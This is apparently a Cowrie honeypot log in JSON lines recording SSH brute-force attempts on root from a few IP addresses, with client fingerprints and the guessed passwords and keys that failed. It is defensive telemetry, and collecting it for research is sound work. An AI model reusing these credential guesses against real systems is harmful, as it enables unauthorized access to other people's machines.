{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:b7:8a:c1:6a:8c:03:62:93:a7:a9:f7:08:cf:b0:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2AfZZzcHyWfZaMHwXnnKM7kmPc+vOUOyO9KPiSo1+3CDxC6JHgbbG+vyPjjmsKPy7XhaO3gYki4bgVJky30dumjNR4dhDCoFNvKA2Nm7AoP+R76UxrW2haUcp9q5lQ1M7xuLDIozhCYGAFsoEy1kbYaRo4ylsXy3WOHhI0cKS/NsZOocAzRtb28EhMkMN6Oq7I8gd9vQ1bdaZaW0a0SJVbpshoCwKTFjF4QUo6bv/Ag4oUJagP1hJZkdn7ZIw7KVUG9hZXupEU9ysdlZX89Mvx8gpFlSJfc+9eDso61p7raGqmj5lwI1ynhbD8vo0RW8zm+725HZQAKhCoiqQDarn+dPgWkJWUZwbGKBphBlFzRq3XGndvdw2eHHemTvZrCPyqb96h+h9xteaeArbTwpPkTRTmCj2Z+1XzDk2xtnbledQPc1WE8DbBhyJtGiDvLKSbZSN5krEyR9UeHPkRE4cCJ+mIzClWQ8pX04A22Ctx87rSO2qrBI/q/6OZaXjlRItpMbaVQClO1jqO/g5yXZbyLw4gYjLei1M0xBtCUclBcRUUlD9FFRjSQxIz++RhG7cP4vKixzFGH8C9OQoNViRKIM7fDWhMbLLnzllQ2Nw2C8k0FCeG7ezaUGPOJ0TDn3qMRlqsG30oKrYYS1karEF3sotqnR6MBvo8W7wv+LJoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.867956Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:99:b6:26:df:cd:4c:54:59:61:04:51:40:51:c7:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9QTKsld/7rrb8YcuWigXKiLtZPLCcDfLg74HDs/51rS1RL06Woy5gB+Fsodt+1Q1iPPWse4bGXOVLqzD5qR+2zVZ4n7D8DnwUYrVTDVUtHauE3MKY3M3y9abEYNa32phoYp0fqi0kn0c9rkxUZqN60S18Ow9CH+G8CRVenWzPntX8ffTwgllNXeD37LNOKmWkMyBWXTLikqH4egOHczdX/MUooyUVx+ySaENUJrl1+mzeGqd7jxMoMBAFuHB5oKCG+UTH+4TTSFZmsESmIJ33/zpqkUEj4o4gHNLwkYFg/WkSgqRX6mO20hPnBqTLtZtZ1wNTcTa7+8AnWuLcv2cx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:99:b6:26:df:cd:4c:54:59:61:04:51:40:51:c7:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.899206Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:99:b6:26:df:cd:4c:54:59:61:04:51:40:51:c7:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9QTKsld/7rrb8YcuWigXKiLtZPLCcDfLg74HDs/51rS1RL06Woy5gB+Fsodt+1Q1iPPWse4bGXOVLqzD5qR+2zVZ4n7D8DnwUYrVTDVUtHauE3MKY3M3y9abEYNa32phoYp0fqi0kn0c9rkxUZqN60S18Ow9CH+G8CRVenWzPntX8ffTwgllNXeD37LNOKmWkMyBWXTLikqH4egOHczdX/MUooyUVx+ySaENUJrl1+mzeGqd7jxMoMBAFuHB5oKCG+UTH+4TTSFZmsESmIJ33/zpqkUEj4o4gHNLwkYFg/WkSgqRX6mO20hPnBqTLtZtZ1wNTcTa7+8AnWuLcv2cx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.903075Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.936936Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:39.542430Z","src_ip":"60.165.124.241","session":"937217034e04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53698,"dst_ip":"10.17.0.5","dst_port":22,"session":"17adfc106d06","protocol":"ssh","message":"New connection: 60.165.124.241:53698 (10.17.0.5:22) [session: 17adfc106d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:39.763364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:39.768359Z","src_ip":"60.165.124.241","session":"17adfc106d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:40.005153Z","src_ip":"60.165.124.241","session":"17adfc106d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aptx4869","message":"login attempt [root/Aptx4869] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:40.722884Z","src_ip":"60.165.124.241","session":"17adfc106d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:41.963670Z","src_ip":"60.165.124.241","session":"17adfc106d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56650,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1f0c486c170","protocol":"ssh","message":"New connection: 60.165.124.241:56650 (10.17.0.5:22) [session: e1f0c486c170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:42.202023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:42.206964Z","src_ip":"60.165.124.241","session":"e1f0c486c170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:42.446959Z","src_ip":"60.165.124.241","session":"e1f0c486c170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.36461114883423,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:42.966247Z","src_ip":"135.148.33.91","session":"5b47faf5f381","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"bss","message":"login attempt [root/bss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:43.169488Z","src_ip":"60.165.124.241","session":"e1f0c486c170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:44.411941Z","src_ip":"60.165.124.241","session":"e1f0c486c170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59502,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca237963d2a7","protocol":"ssh","message":"New connection: 60.165.124.241:59502 (10.17.0.5:22) [session: ca237963d2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:44.644732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:44.649631Z","src_ip":"60.165.124.241","session":"ca237963d2a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:44.887678Z","src_ip":"60.165.124.241","session":"ca237963d2a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13741374","message":"login attempt [root/13741374] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:45.612027Z","src_ip":"60.165.124.241","session":"ca237963d2a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:46.852823Z","src_ip":"60.165.124.241","session":"ca237963d2a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34546,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a53929b581","protocol":"ssh","message":"New connection: 60.165.124.241:34546 (10.17.0.5:22) [session: d8a53929b581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:47.080486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:47.085467Z","src_ip":"60.165.124.241","session":"d8a53929b581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:47.319938Z","src_ip":"60.165.124.241","session":"d8a53929b581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@0599343813","message":"login attempt [root/A@0599343813] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:48.029037Z","src_ip":"60.165.124.241","session":"d8a53929b581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:49.297421Z","src_ip":"60.165.124.241","session":"d8a53929b581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37594,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aadae154672","protocol":"ssh","message":"New connection: 60.165.124.241:37594 (10.17.0.5:22) [session: 1aadae154672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:49.502301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:49.506926Z","src_ip":"60.165.124.241","session":"1aadae154672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:49.745612Z","src_ip":"60.165.124.241","session":"1aadae154672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r5t","message":"login attempt [root/1Q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:50.467088Z","src_ip":"60.165.124.241","session":"1aadae154672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:51.707465Z","src_ip":"60.165.124.241","session":"1aadae154672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40780,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbdeee265a13","protocol":"ssh","message":"New connection: 60.165.124.241:40780 (10.17.0.5:22) [session: bbdeee265a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:51.938744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:51.943278Z","src_ip":"60.165.124.241","session":"bbdeee265a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:52.179069Z","src_ip":"60.165.124.241","session":"bbdeee265a13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:52.890101Z","src_ip":"60.165.124.241","session":"bbdeee265a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:54.129046Z","src_ip":"60.165.124.241","session":"bbdeee265a13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43736,"dst_ip":"10.17.0.5","dst_port":22,"session":"b20ef5f14e93","protocol":"ssh","message":"New connection: 60.165.124.241:43736 (10.17.0.5:22) [session: b20ef5f14e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:54.365402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:54.371487Z","src_ip":"60.165.124.241","session":"b20ef5f14e93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:54.610547Z","src_ip":"60.165.124.241","session":"b20ef5f14e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Monitor@123","message":"login attempt [root/Monitor@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:55.339419Z","src_ip":"60.165.124.241","session":"b20ef5f14e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:56.580487Z","src_ip":"60.165.124.241","session":"b20ef5f14e93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46656,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fccbba54fd4","protocol":"ssh","message":"New connection: 60.165.124.241:46656 (10.17.0.5:22) [session: 5fccbba54fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:56.816032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:56.820914Z","src_ip":"60.165.124.241","session":"5fccbba54fd4","protocol":"ssh"}
